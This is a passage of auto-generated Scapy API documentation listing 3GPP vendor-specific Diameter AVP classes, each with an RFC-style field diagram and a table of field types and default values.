+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. AVP_10415_1259                        


AVP_10415_1259 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_1261(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L2537-L2551]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. AVP_10415_1261                        


AVP_10415_1261 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_1268(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L2554-L2568]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. AVP_10415_1268                        


AVP_10415_1268 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_1271(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L2571-L2574]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. AVP_10415_1271                        


AVP_10415_1271 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_1277(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L2577-L2581]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. AVP_10415_1277                        


AVP_10415_1277 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_1279(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L2584-L2589]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. AVP_10415_1279                        


AVP_10415_1279 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_1417(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L2592-L2595]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. AVP_10415_1417                        


AVP_10415_1417 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_1420(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L2598-L2612]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. AVP_10415_1420                        


AVP_10415_1420 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_1424(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L2615-L2618]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. AVP_10415_1424                        


AVP_10415_1424 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_1428(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L2621-L2625]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. AVP_10415_1428                        


AVP_10415_1428 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_1432(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L2628-L2632]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. AVP_10415_1432                        


AVP_10415_1432 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_1434(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L2635-L2638]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. AVP_10415_1434                        


AVP_10415_1434 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_1438(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L2641-L2645]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. AVP_10415_1438                        


AVP_10415_1438 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_1445(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L2648-L2651]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. AVP_10415_1445                        


AVP_10415_1445 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_1456(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L2654-L2657]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. AVP_10415_1456                        


AVP_10415_1456 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_1457(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L2660-L2664]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. AVP_10415_1457                        


AVP_10415_1457 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_1462(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L2667-L2679]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. AVP_10415_1462                        


AVP_10415_1462 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_1468(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L2682-L2686]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. AVP_10415_1468                        


AVP_10415_1468 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_1478(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L2689-L2702]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. AVP_10415_1478                        


AVP_10415_1478 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_1481(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L2705-L2709]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. AVP_10415_1481                        


AVP_10415_1481 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_1482(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L2712-L2723]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
